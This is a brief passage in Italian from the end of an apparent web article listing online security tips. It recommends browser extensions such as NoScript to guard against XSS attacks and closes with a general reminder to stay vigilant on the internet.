  8. Utilizza le estensioni del browser che proteggono dagli attacchi XSS (ad esempio, NoScript per FF e Google Chrome).
  9. Periodicamente nei conti.

E, soprattutto, non perdere la vigilanza e l'attenzione mentre ti rilassi o lavori su Internet!

Condividi con gli amici o salva per te:

Caricamento in corso...